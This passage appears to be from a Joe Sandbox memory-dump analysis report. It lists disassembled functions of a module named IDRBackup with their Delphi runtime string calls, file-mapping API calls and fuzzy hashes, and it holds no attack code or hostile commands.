@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700426D), ref: 570041EB
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700426D), ref: 570041F0
@System@@LStrClr$qqrpv.RTL120.BPL(57004274), ref: 57004267

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$Clr$qqrpv.EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.
String ID:
API String ID: 122677305-0
Opcode ID: b114b2092f2a858e46a9668fe997ade6f425b80cdd1716e24d516b29d7596cef
Instruction ID: f25d863d0a7606f7ccb352c6c1cc564d7d887da7b2bc3346303ed41c21510a66
Opcode Fuzzy Hash: b114b2092f2a858e46a9668fe997ade6f425b80cdd1716e24d516b29d7596cef
Instruction Fuzzy Hash: 8B21C330B04AC49FAB95CBB5C49059CB6F5EFCA132FE485B9F821D7343EA384E049659

Function 5702144C Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

@System@@New$qqripv.RTL120.BPL(00000000,57021526), ref: 57021479

Part of subcall function 5700189C: @System@@FillChar$qqrpvib.RTL120.BPL(5701AC73), ref: 5700189E

@System@@UStrFromPWChar$qqrr20System@UnicodeStringpb.RTL120.BPL(00000000,57021526), ref: 570214CF
@System@@UStrFromPWChar$qqrr20System@UnicodeStringpb.RTL120.BPL(00000000,57021526), ref: 570214FE
@System@@UStrClr$qqrpv.RTL120.BPL(5702152D), ref: 57021520

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Char$qqrr20FromStringpb.System@Unicode$Char$qqrpvib.Clr$qqrpv.FillNew$qqripv.
String ID:
API String ID: 1308836023-0
Opcode ID: d5d84c49fc7b2f5dfe77d0d0c74c610c63ee073c50c67fd5faf7a331836b6a2d
Instruction ID: bec817b0a9e3826b2aec298a5bf7e960dafc87a13cf3f3005f069eabfadaeea8
Opcode Fuzzy Hash: d5d84c49fc7b2f5dfe77d0d0c74c610c63ee073c50c67fd5faf7a331836b6a2d
Instruction Fuzzy Hash: 73315C71A12658EFDB01CFA8D880A8DB7F4EF49310F5181A6D818D7756E374AE40DB92

Function 57005D9C Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 57005644: @System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 57005662
Part of subcall function 57005644: @System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 57005685
Part of subcall function 57005644: @System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056B8
Part of subcall function 57005644: @System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056C3
Part of subcall function 57005644: @System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056D6
Part of subcall function 57005644: @System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056DF

@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 57005DDA
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL ref: 57005E01
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL ref: 57005E11
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 57005E19

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: System@$Unicode$L120$System@@$String.$StringU$qqrr20Unique$Cat3$qqrr20Len$qqrx20Length$qqrr20Stringi.Stringt2.Stringx20$Move$qqrpxvpvi.
String ID:
API String ID: 3110631300-0
Opcode ID: 6c914c049d79186a5796c145ad58b714d8412f879e62ced1bae62b97ab2fd32b
Instruction ID: e6ee408cace0b25d013a578a0a10b08e869df629fdc0b0e4e3be3ff0429ec0e2
Opcode Fuzzy Hash: 6c914c049d79186a5796c145ad58b714d8412f879e62ced1bae62b97ab2fd32b
Instruction Fuzzy Hash: 8E11E976715190DFAB088ABE9C95D8A63DADFD91343A48437F108C7386E920DC0686A1

Function 57005C58 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 57005644: @System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 57005662
Part of subcall function 57005644: @System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 57005685
Part of subcall function 57005644: @System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056B8
Part of subcall function 57005644: @System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056C3
Part of subcall function 57005644: @System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056D6
Part of subcall function 57005644: @System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056DF

@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 57005C96
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL ref: 57005CBD
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL ref: 57005CCD
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 57005CD5

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: System@$Unicode$L120$System@@$String.$StringU$qqrr20Unique$Cat3$qqrr20Len$qqrx20Length$qqrr20Stringi.Stringt2.Stringx20$Move$qqrpxvpvi.
String ID:
API String ID: 3110631300-0
Opcode ID: 05dc65b61626d115a5c0688bcaca03a7bc16ef62d78fc2bece5aaca82a6a83a4
Instruction ID: 3e18ad29ae30e8a1bf90bb6ac0c2e058071e3f6b7cb50bb597bbb570e051cd76
Opcode Fuzzy Hash: 05dc65b61626d115a5c0688bcaca03a7bc16ef62d78fc2bece5aaca82a6a83a4
Instruction Fuzzy Hash: 4A11E572715190DFAB048ABEECD4D8AA3DADFD92307948437F108C7386E920DC0682A2

Function 57005E50 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 570057B4: @System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(?,?,?,00000000,00000000), ref: 57005813
Part of subcall function 570057B4: @System@@UStrArrayClr$qqrpvi.RTL120.BPL(57005848,?,?,00000000,00000000), ref: 5700583B

@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(?,?,?), ref: 57005E8C
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(?,?,?), ref: 57005EB3
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(?,?), ref: 57005EC3
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(?,?,?), ref: 57005ECB

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: System@Unicode$L120System@@$Cat3$qqrr20Stringt2.Stringx20$Len$qqrx20String.$ArrayClr$qqrpvi.
String ID:
API String ID: 3601408274-0
Opcode ID: c68262054b07243081b073325872757f294c789dc1856c6050e15bed717e83db
Instruction ID: 9d8c6c3758b1fe80f26649c44e745809edd873ff29c5ea6b7f8bb60cc1c82ad2
Opcode Fuzzy Hash: c68262054b07243081b073325872757f294c789dc1856c6050e15bed717e83db
Instruction Fuzzy Hash: 9811A5367151D0DF6B089ABEAC90C9A63CB9FD91343948536F148C7397E920CC168292

Function 570059E4 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 57005580: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055A0
Part of subcall function 57005580: @System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055C3
Part of subcall function 57005580: @System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055F4
Part of subcall function 57005580: @System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055FE
Part of subcall function 57005580: @System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 5700560F
Part of subcall function 57005580: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 5700561A

@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 57005A1A
@System@@LStrCat3$qqrv.RTL120.BPL ref: 57005A41
@System@@LStrCat3$qqrv.RTL120.BPL ref: 57005A51
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 57005A59

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$String$AnsiSystem@%T$us$i0$%.$A$qqrr27Unique$Cat3$qqrv.Len$qqrx27Length$qqrv.$Move$qqrpxvpvi.System@
String ID:
API String ID: 4163557254-0
Opcode ID: 535196e43b340c9ad37ee957ad01dee86f2446d321d5588d24d44f738cbda96f
Instruction ID: 92223d8c2686ba5aa7b74b53f4c8220a5ae0557aadcc65208279c501511396cb
Opcode Fuzzy Hash: 535196e43b340c9ad37ee957ad01dee86f2446d321d5588d24d44f738cbda96f
Instruction Fuzzy Hash: BF11C872B124409F7704C6BEAC908DEE7CEDFD91707A48422F408D7396EA20DC1245E5

Function 570058A8 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 57005580: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055A0
Part of subcall function 57005580: @System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055C3
Part of subcall function 57005580: @System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055F4
Part of subcall function 57005580: @System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055FE
Part of subcall function 57005580: @System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 5700560F
Part of subcall function 57005580: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 5700561A

@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 570058DE
@System@@LStrCat3$qqrv.RTL120.BPL ref: 57005905
@System@@LStrCat3$qqrv.RTL120.BPL ref: 57005915
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5700591D

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$String$AnsiSystem@%T$us$i0$%.$A$qqrr27Unique$Cat3$qqrv.Len$qqrx27Length$qqrv.$Move$qqrpxvpvi.System@
String ID:
API String ID: 4163557254-0
Opcode ID: 570ff1e7d35481bab70f392efbb7c59f035803817f87d9b82f8eaf1049f5d6d8
Instruction ID: e3c59345db34b534769c0a5f4ce4cc3af323193e14d5bee8069c9e4c38bb98c6
Opcode Fuzzy Hash: 570ff1e7d35481bab70f392efbb7c59f035803817f87d9b82f8eaf1049f5d6d8
Instruction Fuzzy Hash: 0111DB72B124509F7704D6BEAC948DBE7DEDFC81707E44422F508D3396EA20DC0242E1

Function 57005A90 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 57005708: @System@@LStrCat3$qqrv.RTL120.BPL(?,?,?,00000000,00000000), ref: 57005765
Part of subcall function 57005708: @System@@LStrArrayClr$qqrpvi.RTL120.BPL(5700579A,?,?,00000000,00000000), ref: 5700578D

@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?), ref: 57005AC4
@System@@LStrCat3$qqrv.RTL120.BPL(?,?,?), ref: 57005AEB
@System@@LStrCat3$qqrv.RTL120.BPL(?,?), ref: 57005AFB
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?), ref: 57005B03

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Cat3$qqrv.$AnsiLen$qqrx27StringSystem@%T$us$i0$%.$ArrayClr$qqrpvi.
String ID:
API String ID: 1697467026-0
Opcode ID: eea6fedc6d8494712f85a4e7837607606481eeb46e505b6e97da52b0b25bda7e
Instruction ID: 94ee28cab9e0d07e6c2f9bc0a5a63e78bff3bd56710c67e7618cbe7e75f75487
Opcode Fuzzy Hash: eea6fedc6d8494712f85a4e7837607606481eeb46e505b6e97da52b0b25bda7e
Instruction Fuzzy Hash: 1B01B576B12591DF770596BEAC948DAE7CFDFC91707D48422F508C7396EA10DC1282E2

Function 57004F8B Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57004FB5
@System@@FillChar$qqrpvib.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57004FC3
@System@@LStrCatN$qqrv.RTL120.BPL(?,?,?,?,?,00000000,00000000), ref: 5700500A
@System@@LStrCat3$qqrv.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57005018
@System@@LStrCat$qqrv.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57005024
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5700504B,?,?,?,00000000,00000000), ref: 5700503E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$ArrayCat$qqrv.Cat3$qqrv.Char$qqrpvib.Clr$qqrpvi.FillLength$qqrv.N$qqrv.
String ID:
API String ID: 4049852375-0
Opcode ID: ead61b56383e1a1dfcaa63d97100f8e7f48bc03377b3769b6edb08772dff17d7
Instruction ID: b844bef4134a2eff60368cf8da0209c74a41c7def1e1e9ad2d800758d55ef2da
Opcode Fuzzy Hash: ead61b56383e1a1dfcaa63d97100f8e7f48bc03377b3769b6edb08772dff17d7
Instruction Fuzzy Hash: 391106302041C4EFFB158B65D850FED7BE9EF48320FA1046AF944C7283E6398D819696

Function 5701FB8C Relevance: 6.1, APIs: 4, Instructions: 53fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(?,00000000), ref: 5701FB9B
SetFilePointer.KERNEL32(?,?,00000000,00000000,?,00000000), ref: 5701FBCD
SetEndOfFile.KERNEL32(?,?,?,00000000,00000000,?,00000000), ref: 5701FBD9

Part of subcall function 5701FB18: UnmapViewOfFile.KERNEL32(?), ref: 5701FB24
Part of subcall function 5701FB18: CloseHandle.KERNEL32(?,?), ref: 5701FB32

GetFileSize.KERNEL32(?,00000000,?,00000000), ref: 5701FBFC

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: File$Size$CloseHandlePointerUnmapView
String ID:
API String ID: 377527870-0
Opcode ID: 96c1ad3013c97461a98722560872ed104da0a42d9e391ebc758dc669108c2e56
Instruction ID: 5c4b275180e019fdb26a20eb7f63fc76607f92fdb5b7851490ba06f9d41b9a18
Opcode Fuzzy Hash: 96c1ad3013c97461a98722560872ed104da0a42d9e391ebc758dc669108c2e56
Instruction Fuzzy Hash: AC116679646648AFDB00CF98D8D8F8EBBE8AB08260F508541F948CF391C775E9808BD1

Function 57003004 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL ref: 57003007
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 5700300C
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL ref: 57003042
@System@@UStrClr$qqrpv.RTL120.BPL(57003079), ref: 5700306C

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@Unicode$String.System@$Clr$qqrpv.EnsureLen$qqrx20StringString$qqrr20U$qqrr20Unique
String ID:
API String ID: 1404444246-0
Opcode ID: e5a89fc1c71f36c53f95e0eb309ab4d4f16f10a78fe5670e879fc4b3f0591632
Instruction ID: 33849083b4fff1a379b99dd89101876fa83e3da7fe4f6bb37569bf61222c7349
Opcode Fuzzy Hash: e5a89fc1c71f36c53f95e0eb309ab4d4f16f10a78fe5670e879fc4b3f0591632
Instruction Fuzzy Hash: 8EF0D131A162859BF716CBB490606DEE3E0EF81370BE00099D950D61F3C625AF129681

Function 5701F6EA Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701F6F9
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F73D), ref: 5701F711
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F73D), ref: 5701F716

Part of subcall function 5701F5B4: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,5701F727,00000000,5701F73D), ref: 5701F5DA

@System@@LStrClr$qqrpv.RTL120.BPL(5701F744), ref: 5701F737

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

